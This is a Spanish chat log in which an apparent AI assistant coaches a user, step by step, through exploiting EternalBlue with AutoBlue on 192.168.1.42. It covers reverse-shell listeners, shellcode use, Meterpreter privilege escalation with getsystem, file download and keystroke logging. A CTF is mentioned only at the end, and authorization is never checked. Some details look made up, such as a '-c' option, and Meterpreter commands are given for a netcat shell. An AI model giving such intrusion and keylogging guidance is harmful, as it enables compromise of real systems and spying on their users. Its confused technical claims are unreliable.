¡Ah, entiendo! Si en la carpeta de **AutoBlue** tienes un archivo llamado ``shellcode``, es posible que sea un archivo con **shellcode** que puede ser utilizado en el exploit para establecer una conexión inversa. Sin embargo, el hecho de que no tengas un listener o shell activa sugiere que probablemente te falte configurar el entorno para recibir la conexión de vuelta.

Vamos a aclarar y resolver lo que necesitas hacer para obtener la conexión inversa (reverse shell) correctamente.

**Lo que necesitas:**



1. **Un Listener:** Necesitas tener algo escuchando en tu máquina atacante para aceptar la conexión de vuelta (la shell inversa).
2. **Un Payload o Shellcode:** Es posible que el archivo ``shellcode`` que mencionas contenga el código necesario para ejecutar la shell inversa (por ejemplo, usando **Netcat** o **Meterpreter**).

## Pasos para configurar y usar AutoBlue con shellcode

### 1. Verificar si el archivo ``shellcode`` es un payload ejecutable:

- Primero, revisa qué es lo que contiene el archivo ``shellcode``. Dependiendo del contenido, puedes saber si es un payload de **Meterpreter** o un tipo de **reverse shell** que puedas usar.

Si el archivo está en formato binario o un script Python, puede ser algo relacionado con el shell inverso. Si es un archivo binario, es posible que necesites inyectarlo o especificarlo durante la explotación. Puedes intentar abrir el archivo para ver su contenido:

```
cat shellcode
```

Si el archivo está en un formato binario o tiene un formato que no puedes leer directamente, es posible que necesites usarlo como parte de la explotación en sí.

### 2. Escuchar las conexiones entrantes:

Necesitarás un **listener** para recibir la conexión del exploit. Si no tienes un listener corriendo en tu máquina atacante, no podrás obtener la shell. Para esto, **Netcat** es una herramienta sencilla y efectiva.

Para establecer un listener, usa **Netcat** en tu máquina atacante:

```
nc -lvnp 4444
```



Aquí ``4444`` es el puerto que usas para escuchar las conexiones entrantes. Si prefieres otro puerto, simplemente cámbialo.

### 3. Ejecutar el exploit y esperar la conexión:

Ahora, vuelve a ejecutar el exploit desde el archivo ``eternalblue_exploit7.py`` o el que estés utilizando. Asegúrate de que el exploit esté configurado para usar el shellcode adecuado, si es necesario. Si el exploit se configura correctamente, debería intentar explotar **EternalBlue** y luego generar una conexión inversa al puerto donde estás escuchando (en este caso **4444**).

Ejecuta el exploit:

```
python3 eternalblue_exploit7.py -t 192.168.1.42
```

O si estás usando otro script, como ``eternalblue_exploit10.py``, ejecútalo igualmente.

### 4. Verificar la shell inversa:

Si todo va bien, deberías obtener una **shell** en el listener que configuraste con **Netcat**. En ese momento podrás interactuar con la máquina objetivo a través de la terminal.

## ¿Qué es el ``shellcode`` y por qué es importante?

El ``shellcode`` es básicamente el código que se ejecuta en la máquina víctima después de que el exploit tiene éxito. Si el exploit se configura correctamente, el ``shellcode`` generalmente hará que la máquina víctima abra una conexión hacia tu máquina atacante, permitiéndote obtener el control.

Si en tu carpeta de **AutoBlue** tienes un archivo ``shellcode``, puede ser parte de ese proceso, es decir, el código que se inyectará en la máquina objetivo para proporcionar la shell inversa. Dependiendo de cómo esté diseñado el exploit, podría ser necesario especificar este archivo o integrarlo dentro del proceso de explotación.





## Resumen de lo que debes hacer:

1. **Configura un listener en tu máquina atacante** con **Netcat** para recibir las conexiones inversas.
2. **Ejecuta el exploit** utilizando el script ``eternalblue_exploit7.py`` o ``eternalblue_exploit10.py``.
3. **Asegúrate de que el exploit esté utilizando el payload adecuado** (el archivo ``shellcode`` podría ser relevante en este paso).
4. **Verifica que obtienes la shell** en tu listener.

Si el archivo ``shellcode`` es necesario y debe ser configurado de alguna manera dentro del script, puedes consultarlo con el contenido del script del exploit o en la documentación de **AutoBlue**.

Si necesitas más ayuda para entender cómo usar ese archivo ``shellcode``, por favor comparte su contenido o lo que has observado en los archivos, y te puedo guiar más específicamente. ¡Sigue intentándolo y avísame si necesitas más asistencia!



Hay un `shellprep.sh`



¡Perfecto! El archivo ``shellprep.sh`` probablemente sea un script de preparación para configurar el entorno y/o el payload para obtener una conexión inversa en tu máquina atacante. Es común que en proyectos como **AutoBlue**, este tipo de scripts se usen para configurar la shell inversa o preparar el entorno antes de ejecutar el exploit.

Vamos a revisar qué hace el script ``shellprep.sh``. Aquí tienes lo que debes hacer:

### 1. Revisar el contenido de ``shellprep.sh``





Primero, abre el archivo ``shellprep.sh`` para entender qué hace. Usa un editor de texto o simplemente usa el comando ``cat`` para ver su contenido:

```
cat shellprep.sh
```

Este script debería proporcionarte información sobre qué acciones realiza. Si es un script de preparación, es probable que configure el listener o algún tipo de payload para que la conexión inversa funcione.

## 2. Ejecutar ``shellprep.sh``

Si el script ``shellprep.sh`` es adecuado para preparar el entorno para una shell inversa, ejecútalo en tu máquina atacante para asegurarte de que todo está listo para recibir la conexión.

Para ejecutar el script ``shellprep.sh``, primero asegúrate de que tiene permisos de ejecución. Puedes dar permisos con el siguiente comando:

```
chmod +x shellprep.sh
```

Luego, ejecuta el script:

```
./shellprep.sh
```

Esto debería realizar las configuraciones necesarias en tu máquina atacante para escuchar las conexiones de la máquina víctima después de que el exploit tenga éxito.

## 3. Iniciar el Listener en tu máquina atacante

Si el script ``shellprep.sh`` configura correctamente todo lo necesario, ahora solo necesitas asegurarte de que tienes un listener activo en tu máquina atacante para aceptar la shell inversa.



Para iniciar un listener con **Netcat** (en el puerto 4444, por ejemplo), usa este comando:

```
nc -lvp 4444
```

Esto hará que tu máquina atacante esté esperando una conexión en el puerto **4444**.

## 4. Ejecutar el Exploit

Una vez que tengas el listener activo y hayas preparado el entorno con ``shellprep.sh``, puedes ejecutar el exploit ``eternalblue_exploit7.py`` (o el script correspondiente que estés usando) para intentar explotar la vulnerabilidad y obtener la shell inversa.

Asegúrate de que el exploit esté correctamente configurado para conectar al puerto en el que tu máquina atacante está escuchando.

```
python3 eternalblue_exploit7.py -t 192.168.1.42
```

## ¿Qué esperar?

Si el ``shellprep.sh`` está correctamente configurado, debería configurar lo necesario para que el exploit funcione sin problemas. Luego de ejecutar el exploit, si todo sale bien, el exploit explotará la vulnerabilidad **EternalBlue** y establecerá una conexión inversa a tu máquina atacante.

Con esto, deberías poder ver la shell en tu listener de **Netcat**.

---

## Si no funciona:

- Si ``shellprep.sh`` no proporciona detalles claros sobre lo que hace, revisa su contenido y avísame si necesitas ayuda interpretando el script.



- Si tienes problemas con el script o el listener, intenta cambiar el puerto de escucha o verifica que el exploit esté funcionando correctamente.
- Si el script ``shellprep.sh`` requiere configuraciones adicionales (por ejemplo, configura algún tipo de payload en particular), revisa el archivo y ajusta según sea necesario.

Si necesitas ayuda adicional revisando ``shellprep.sh``, no dudes en compartir el contenido o los mensajes de error que obtengas y estaré encantado de ayudarte a resolverlo.



```
Me ha creado esto: > ls
eternalblue_kshellcode_x64.asm
eternalblue_sc_merge.py sc_x64.bin
sc_x64_msf.bin sc_x86_kernel.bin shell_prep.sh
eternalblue_kshellcode_x86.asm sc_all.bin
sc_x64_kernel.bin sc_x86.bin sc_x86_msf.bin
```



¡Perfecto! El script ``shell_prep.sh`` ha generado varios archivos interesantes, entre ellos, algunos shellcodes. A continuación, te voy a explicar qué hace cada archivo y cómo puedes utilizarlos para llevar a cabo la explotación.

## Archivos generados:

1. ``eternalblue_kshellcode_x64.asm``: Este es un archivo **ASM** (ensamblador) para la arquitectura de 64 bits. Es probable que se trate de un shellcode que se puede compilar y usar para la explotación en sistemas de 64 bits.
2. ``eternalblue_kshellcode_x86.asm``: Similar al anterior, pero para la arquitectura de 32 bits.
3. ``sc_x64.bin`` y ``sc_x86.bin``: Estos archivos **.bin** contienen shellcodes en formato binario (para 64 y 32 bits, respectivamente), que pueden ser usados para explotar





la vulnerabilidad.

4. ``sc_x64_msf.bin`` y ``sc_x86_msf.bin``: Estos también son shellcodes en formato binario, pero probablemente están destinados para ser usados con **Metasploit**.
5. ``sc_x64_kernel.bin`` y ``sc_x86_kernel.bin``: Es probable que estos shellcodes sean específicos para **kernel-level exploits** o versiones más avanzadas.
6. ``sc_all.bin``: Este archivo puede ser una colección de diferentes shellcodes, combinados en un solo archivo.
7. ``eternalblue_sc_merge.py``: Este es un script Python que probablemente combina o prepara shellcodes para su uso en un exploit.
8. ``shell_prep.sh``: El script de preparación, que probablemente preparó y configuró el entorno para que puedas ejecutar la explotación con los shellcodes adecuados.

## ¿Qué puedes hacer ahora?

Lo que debes hacer ahora depende de si prefieres usar **Metasploit** o una **shellcode inversa manual**.

### 1. Usar Metasploit con los binarios de shellcode

(``sc_x64_msf.bin``):

Si prefieres usar **Metasploit** (que es una opción fácil y confiable), puedes usar el archivo ``sc_x64_msf.bin`` o ``sc_x86_msf.bin``. Aquí te muestro cómo hacerlo:

#### Paso 1: Configura un listener en Metasploit

Primero, configura un **listener** en Metasploit para aceptar la conexión de vuelta. Abre **Metasploit** en tu máquina atacante:

```
msfconsole
```

Luego, usa el siguiente comando para configurar el listener:





```
use exploit/multi/handler
set PAYLOAD windows/x64/shell_reverse_tcp  # Usar la versión adecuada según tu
shellcode (64 o 32 bits)
set LHOST <tu_ip_atacante>
set LPORT 4444                             # O cualquier puerto que prefieras
run
```

## Paso 2: Ejecuta el exploit

Después de configurar el listener, puedes usar el archivo ``sc_x64_msf.bin`` en el exploit de **AutoBlue**. El script ``eternalblue_exploit7.py`` debería ser capaz de inyectar ese shellcode (usando el archivo binario).

Ejecuta el exploit como antes:

```
python3 eternalblue_exploit7.py -t 192.168.1.42
```

Si todo sale bien, el exploit debería generar una conexión inversa a tu listener en Metasploit.

## 2. Usar el shellcode directamente (si no deseas usar Metasploit):

Si prefieres evitar **Metasploit** y deseas usar un shellcode más directo, puedes usar el archivo ``sc_x64.bin`` o ``sc_x86.bin`` en un script o explotación personalizada.

Aquí hay un ejemplo de cómo podrías inyectar un shellcode utilizando **Netcat**:

### Paso 1: Iniciar el listener con Netcat:

```
nc -lvp 4444
```

### Paso 2: Ejecutar el exploit con el shellcode:

El script de explotación probablemente esté configurado para enviar el shellcode directamente a la máquina víctima. Asegúrate de que el archivo del shellcode esté



apuntando a ``sc_x64.bin`` o ``sc_x86.bin`` según la arquitectura de la víctima.

### Paso 3: Ejecutar el script de explotación:

Ejecuta el exploit nuevamente, pero esta vez asegúrate de que el shellcode y el payload estén configurados correctamente.

## 3. ¿Qué hacer si el script no funciona de inmediato?

Si después de seguir estos pasos el exploit sigue sin funcionar, puede ser necesario:

- **Revisar la redirección del tráfico:** Verifica que no haya problemas de red o firewall entre tu máquina y la víctima.
- **Revisar las configuraciones del listener:** Asegúrate de que el listener en **Metasploit** o **Netcat** está escuchando en el puerto correcto.
- **Revisar el exploit:** Asegúrate de que el script de explotación esté usando el shellcode correcto y configurado para la arquitectura de la víctima.

---

## Resumen:

1. Si prefieres usar **Metasploit**, usa ``sc_x64_msf.bin`` o ``sc_x86_msf.bin`` como payload.
2. Si prefieres un enfoque manual, usa los archivos ``sc_x64.bin`` o ``sc_x86.bin`` con un listener en **Netcat**.
3. Asegúrate de tener un listener activo en el puerto correcto.
4. Ejecuta el exploit y espera que se establezca la conexión inversa.

Si necesitas más detalles sobre cómo integrar el shellcode con el exploit o tienes algún problema durante el proceso, no dudes en comentarlo y estaré encantado de ayudarte. ¡Suerte!





¿Cómo puedo usarlo con el exploit de autoblué?



Para usar el **shellcode** con el exploit **AutoBlue-MS17-010**, lo que necesitas es modificar el script de explotación para que pueda inyectar el **shellcode** directamente, o configurar adecuadamente el exploit para que utilice el archivo del shellcode que generaste.

Voy a guiarte paso a paso para usar el shellcode con **AutoBlue-MS17-010**. Primero, asegúrate de tener la configuración básica lista (el archivo de shellcode, el listener y el exploit).

## Paso 1: Configurar un Listener en Netcat

Antes de ejecutar el exploit, necesitas tener un listener en tu máquina atacante que escuche las conexiones entrantes del shell inverso.

En tu máquina atacante, abre una terminal y ejecuta el siguiente comando para iniciar un listener en el puerto 4444:

```
nc -lvp 4444
```

Esto hará que tu máquina esté esperando una conexión inversa en el puerto **4444**. Este será el puerto por el que el shellcode que ejecutes en la máquina víctima intentará conectarse.

## Paso 2: Modificar el Exploit para Usar el Shellcode

En la carpeta de **AutoBlue-MS17-010**, debes localizar los archivos relevantes y luego configurar el exploit para que utilice el **shellcode** generado.

### A. Verifica el Archivo del Shellcode

El archivo de shellcode generado se encuentra dentro de la carpeta **AutoBlue-MS17-010**. Según el nombre de los archivos que mencionaste, puedes usar ``sc_x64.bin`` (o





el que sea apropiado según la arquitectura de la víctima).

Si estás usando un sistema de **64 bits** (lo cual parece ser el caso, según el exploit de **EternalBlue**), usa ``sc_x64.bin``.

## B. Ejecutar el Script de Explotación con el Shellcode

Ahora, el exploit debe ser ejecutado con el shellcode. En **AutoBlue**, probablemente tengas que modificar el script de explotación para que utilice este shellcode directamente.

Dependiendo de la versión del script que estás utilizando, puedes agregar el shellcode de la siguiente manera:

1. Localiza el archivo ``eternalblue_exploit7.py`` o el que estés usando para ejecutar el exploit.
2. Abre este archivo con un editor de texto:

```
nano eternalblue_exploit7.py
```

3. Busca la parte donde se utiliza el **payload** o shellcode, y asegúrate de que esté apuntando al archivo ``sc_x64.bin`` o el adecuado para la arquitectura de la víctima.

El script de explotación de AutoBlue debería tener una parte donde se configura el **payload**. Deberás asegurarte de que esté configurado para usar el archivo binario del shellcode que generaste.

## Paso 3: Ejecutar el Exploit

Una vez que hayas configurado todo correctamente, puedes ejecutar el exploit. Ejecuta el siguiente comando en la terminal:

```
python3 eternalblue_exploit7.py -t 192.168.1.42
```



Esto debería intentar explotar la vulnerabilidad **EternalBlue** en la máquina víctima y ejecutar el shellcode.

## Paso 4: Verificar la Conexión Inversa

Después de ejecutar el exploit, deberías ver la conexión inversa en tu listener de **Netcat** en el puerto **4444**. Si todo funciona correctamente, deberías tener acceso a una **shell inversa**.

Si el listener muestra algo como:

```
connect to [<tu_ip>] from (UNKNOWN) [<ip_victima>] 4444
```

Esto significa que la víctima ha ejecutado el exploit correctamente y se ha conectado a tu máquina atacante.

## ¿Qué hacer si algo falla?

- Si el exploit no funciona, asegúrate de que el firewall de la víctima no esté bloqueando el puerto 445 o 139.
- Verifica que el exploit esté configurado correctamente para la arquitectura de la víctima (32-bit o 64-bit).
- Si no obtienes una conexión, asegúrate de que el shellcode esté bien integrado en el exploit y que el listener esté correctamente configurado.

---

## Resumen de Pasos:

1. **Inicia el listener** con Netcat en tu máquina atacante:

```
nc -lvnp 4444
```

2. **Modifica el exploit de AutoBlue** para usar el archivo de shellcode ``sc_x64.bin`` (o el adecuado).



### 3. Ejecuta el exploit con:

```
python3 eternalblue_exploit7.py -t 192.168.1.42
```

### 4. Verifica la conexión inversa en el listener de Netcat.

Si necesitas más ayuda revisando el código del script de explotación o cualquier detalle adicional, ¡no dudes en preguntar!



¿No puedo añadir el shellcode al comando?



¡Sí, puedes añadir el shellcode directamente al comando de **AutoBlue**! De hecho, este es un método práctico y eficiente si no quieres modificar el código del script. En vez de integrar manualmente el shellcode al script de Python, **AutoBlue** tiene la opción de especificar el archivo del shellcode directamente en la línea de comandos.

Te explico cómo hacerlo:

## Paso 1: Configura el Listener

Primero, asegúrate de tener un listener activo en tu máquina atacante. Usa **Netcat** para escuchar las conexiones en el puerto 4444:

```
nc -lvnp 4444
```

Este comando te permitirá recibir las conexiones de la shell inversa que se abrirán después de explotar la vulnerabilidad.

## Paso 2: Localiza el Shellcode

Verifica qué archivo de shellcode utilizar, dependiendo de si tu víctima es de **64 bits** o **32 bits**. Según los archivos que mencionaste anteriormente, puedes usar uno de





estos:

- ``sc_x64.bin`` para una máquina de **64 bits**.
- ``sc_x86.bin`` para una máquina de **32 bits**.

Asegúrate de que el archivo de shellcode que uses esté en la misma carpeta o en una ubicación accesible para el script de explotación.

### Paso 3: Ejecuta el Script de Explotación con el Shellcode

Ahora, puedes ejecutar el script de **AutoBlue** y pasarle el archivo de shellcode como parámetro.

Dependiendo del archivo que estés utilizando, el comando podría ser algo como esto:

```
python3 eternalblue_exploit7.py -t 192.168.1.42 -c sc_x64.bin
```

#### Explicación:

- ``-t 192.168.1.42``: Especifica la dirección IP de la víctima.
- ``-c sc_x64.bin``: Indica el archivo del shellcode que quieres utilizar. En este caso, estás usando el archivo ``sc_x64.bin`` para una víctima de 64 bits.

### Paso 4: Verifica la Conexión Inversa

Si el exploit es exitoso, debería establecerse una conexión inversa en tu listener de **Netcat**. Verás algo como esto:

```
connect to [<tu_ip>] from (UNKNOWN) [<ip_victima>] 4444
```

Esto indica que la víctima ha sido comprometida con el shellcode y ha abierto una conexión inversa.

### Resumen de Pasos:



1. **Inicia el listener** en tu máquina atacante con **Netcat**:

```
nc -lvnp 4444
```

2. **Ejecuta el script** de **AutoBlue** pasando el shellcode como parámetro:

```
python3 eternalblue_exploit7.py -t 192.168.1.42 -c sc_x64.bin
```

3. **Verifica la conexión** en el listener de **Netcat**.

Este método debería ser más directo y sencillo sin tener que modificar el código del script de **AutoBlue**. Si el exploit tiene éxito, deberías obtener una shell inversa. Si encuentras algún problema, estaré encantado de ayudarte a solucionarlo. ¡Suerte!



Genial, así sí ha funcionado, ¿cómo puedo buscar o encontrar la flag en Windows?



¡Qué bien que haya funcionado! Ahora que tienes una **shell inversa** en la máquina víctima, el siguiente paso es **buscar la flag**. En sistemas **Windows**, la flag generalmente se encuentra en un archivo de texto o en algún archivo dentro de un directorio específico. Aquí te dejo algunos consejos y comandos que puedes usar para buscar la flag en el sistema de la víctima:

## Paso 1: Navegar por el Sistema de Archivos

Primero, con la shell de **Meterpreter** activa, puedes navegar por el sistema de archivos de la víctima. Utiliza los siguientes comandos para empezar a explorar:

- **Listar directorios:**

```
ls
```

Este comando te muestra el contenido del directorio actual.







- **Cambiar de directorio:**

```
cd <directorio>
```

Por ejemplo, para ir a la carpeta de usuario, puedes hacer:

```
cd C:\\Users\\<nombre_de_usuario>
```

## Paso 2: Buscar la Flag

### Opción 1: Usar el comando ``search``

Si sabes más o menos qué tipo de archivo podría ser la flag (por ejemplo, un archivo de texto), puedes usar el comando ``search`` de Meterpreter para buscar archivos específicos.

1. **Buscar archivos de texto (.txt):** Si sospechas que la flag está en un archivo `` .txt ``, puedes buscarlo en todo el sistema:

```
search -f "*.txt"
```

Esto buscará todos los archivos `` .txt `` en el sistema. Si el archivo de la flag está en alguno de esos, podrás abrirlo con el siguiente comando:

```
cat <ruta_del_archivo>
```

### Opción 2: Buscar por nombre

Si tienes una idea del nombre del archivo, puedes buscarlo directamente con el siguiente comando (sustituyendo ``flag`` por el nombre o una parte del nombre del archivo que estás buscando):

```
search -f "*flag"
```

Esto buscará todos los archivos que contengan la palabra **flag** en su nombre.



### Opción 3: Buscar dentro de archivos (si la flag está en el contenido)

Si la flag está dentro de un archivo y no en su nombre, puedes buscar dentro de los archivos. Para esto, podrías usar un comando como ``grep`` o algo similar. Sin embargo, en **Meterpreter**, no tienes el comando ``grep`` disponible de manera directa, pero puedes leer los archivos encontrados uno por uno utilizando el comando ``cat``.

Por ejemplo, si encuentras un archivo con nombre ``flag.txt``, puedes ver su contenido con:

```
cat C:\\path\\to\\flag.txt
```

### Opción 4: Revisar directorios comunes

Si no encuentras la flag con los métodos anteriores, prueba revisar algunos directorios comunes donde pueden esconderse las flags:

- **Escritorio del usuario:**

```
cd C:\\Users\\<nombre_de_usuario>\\Desktop
```

- **Documentos del usuario:**

```
cd C:\\Users\\<nombre_de_usuario>\\Documents
```

- **Archivos de programa:**

```
cd C:\\Program Files
```

## Paso 3: Uso del comando ``download`` para obtener el archivo de la flag

Si encuentras un archivo de texto que crees que contiene la flag, pero prefieres analizarlo en tu máquina local, puedes descargar el archivo desde la máquina víctima usando el siguiente comando:





```
download C:\\ruta\\al\\archivo\\flag.txt
```

Esto descargará el archivo **flag.txt** en tu máquina atacante, y podrás abrirlo para leer su contenido.

## Paso 4: Usar el comando `keyscan` (si la flag está en texto plano)

Si no has encontrado nada y crees que la flag podría estar siendo escrita o mostrada en algún lugar en el sistema, puedes usar el comando ``keyscan`` en Meterpreter para intentar capturar pulsaciones de teclado. Esto puede ser útil si, por ejemplo, alguien está escribiendo la flag en el sistema.

```
keyscan_start
```

Este comando comenzará a registrar las pulsaciones de teclas. Para detenerlo, usa:

```
keyscan_stop
```

Y luego puedes ver lo que se ha registrado con:

```
keyscan_dump
```

## Paso 5: Comandos adicionales útiles en Meterpreter

- **Ver información sobre el sistema:** Si deseas saber más sobre el sistema objetivo para hacer una búsqueda más informada, puedes usar el siguiente comando:

```
sysinfo
```



- **Ver las conexiones de red:** Esto puede ser útil para ver si hay alguna actividad sospechosa relacionada con la red que podría darte pistas sobre la flag.

```
netstat
```

- **Ver las variables de entorno:** A veces, las flags pueden estar en variables de entorno del sistema:

```
getenv
```

## Resumen:

1. **Navega por los directorios comunes:** Usa ``cd`` y ``ls`` para explorar el sistema de archivos.
2. **Busca archivos de texto** con ``search -f "*.txt"``.
3. **Abre el archivo de la flag** con ``cat``.
4. Si prefieres trabajar en tu máquina local, **descarga el archivo** con el comando ``download``.
5. Usa el comando ``keyscan`` si crees que la flag se está escribiendo activamente.

Si necesitas más ayuda para encontrar la flag o para utilizar otros comandos en Meterpreter, ¡avísame!



¿Cómo puedo ver el contenido de flag.txt en Windows?



Para ver el contenido de un archivo **flag.txt** en un sistema **Windows** usando Meterpreter, puedes utilizar el comando ``cat``. Este comando es utilizado para mostrar el contenido de un archivo de texto directamente en la consola de Meterpreter.



## Pasos para ver el contenido de un archivo flag.txt:

1. **Verifica la ubicación del archivo `flag.txt`:** Si ya sabes la ruta exacta del archivo `flag.txt`, puedes proceder al siguiente paso. Si no estás seguro, utiliza los métodos anteriores para buscar el archivo.

Supongamos que el archivo se encuentra en el escritorio del usuario. La ruta común en **Windows** sería algo como:

```
C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

2. **Usa el comando `cat`** en Meterpreter para ver el contenido del archivo: En la consola de **Meterpreter**, escribe el siguiente comando para ver el contenido de `flag.txt` (reemplaza `` con la ruta real del archivo):

```
cat C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

Por ejemplo, si el archivo `flag.txt` está en el escritorio de un usuario llamado **victimuser**, el comando sería:

```
cat C:\\Users\\victimuser\\Desktop\\flag.txt
```

Este comando mostrará el contenido de `flag.txt` directamente en la consola de Meterpreter.

3. **Si prefieres descargar el archivo a tu máquina local:** Si prefieres analizar el archivo en tu máquina local, puedes usar el comando `download` para transferir el archivo desde la víctima a tu máquina. Ejemplo:

```
download C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

Esto descargará el archivo `flag.txt` a tu directorio local, y podrás abrirlo con un editor de texto como **Notepad** o **VSCode**.



## Resumen:

### 1. Para ver el archivo en la consola de Meterpreter:

```
cat C:\\ruta\\al\\archivo\\flag.txt
```

### 2. Para descargar el archivo y abrirlo localmente:

```
download C:\\ruta\\al\\archivo\\flag.txt
```

Estos pasos deberían permitirte acceder al contenido de `flag.txt`. Si necesitas más ayuda, ¡avísame!



No me deja usar cat



Si no te deja usar el comando `cat` en **Meterpreter** para ver el contenido del archivo, puede que sea un problema relacionado con los privilegios de la sesión o con los comandos disponibles en la shell actual.

Vamos a explorar algunas alternativas que podrías intentar para ver el contenido del archivo `flag.txt`.

### 1. Usar `type` (en lugar de `cat`)

En sistemas Windows, el comando equivalente a `cat` en Linux es `type`. Puedes intentar con el siguiente comando en Meterpreter:

```
type C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```



Este comando debería mostrar el contenido del archivo `flag.txt` en la consola de Meterpreter.

## 2. Verificar los privilegios de Meterpreter

Si no puedes ver el contenido del archivo, podría ser debido a que los privilegios de la sesión de Meterpreter son limitados, y no tienes permisos suficientes para leer el archivo.

- **Escalar privilegios:** Si no tienes privilegios de administrador, puedes intentar escalar tus privilegios usando el comando `getsystem` en Meterpreter:

```
getsystem
```

Este comando intentará elevar tus privilegios a nivel de **sistema**, lo que podría permitirte leer el archivo. Luego, intenta nuevamente con el comando `type`.

## 3. Intentar con `shell` para usar la línea de comandos de Windows

Si `type` tampoco funciona en Meterpreter, puedes intentar acceder a una shell de comandos de Windows directamente desde Meterpreter, lo cual te permitirá usar los comandos de Windows como si estuvieras en una terminal del sistema operativo.

Para abrir una shell de comandos de Windows, usa el comando:

```
shell
```

Una vez dentro de la shell, usa el comando `type` de la siguiente manera:

```
type C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

Si el archivo está protegido o no tienes permisos suficientes, también puedes intentar ejecutar el `shell` como **Administrador** (si tienes acceso de administrador) para leer el archivo.



## 4. Descargar el archivo con `download`

Si las opciones anteriores no funcionan, como última opción puedes intentar **descargar el archivo a tu máquina local** y abrirlo allí. Usa el siguiente comando de **Meterpreter**:

```
download C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

Esto descargará el archivo `flag.txt` a tu máquina local, y podrás abrirlo con cualquier editor de texto (por ejemplo, Notepad o VSCode).

## Resumen de comandos:

### 1. Usar `type`:

```
type C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

### 2. Escalar privilegios con `getsystem` (si no tienes permisos):

```
getsystem
```

### 3. Abrir una shell con `shell` y usar `type` en ella:

```
shell  
type C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

### 4. Descargar el archivo con `download`:

```
download C:\\Users\\<nombre_de_usuario>\\Desktop\\flag.txt
```

Con estos métodos, deberías poder obtener el contenido del archivo **flag.txt**. Si alguna de estas opciones no funciona o si necesitas más ayuda, ¡avísame!





Genial, ya he podido verlo y tengo las flag



¡Qué bueno que hayas conseguido las flags! 🎉 Me alegra saber que ya has logrado avanzar con éxito en el CTF.

Si tienes más dudas o necesitas ayuda con otro reto o paso del CTF, no dudes en decírmelo. ¡Estoy aquí para ayudarte! 🤖🔑

¡Felicidades por tu progreso! 🙌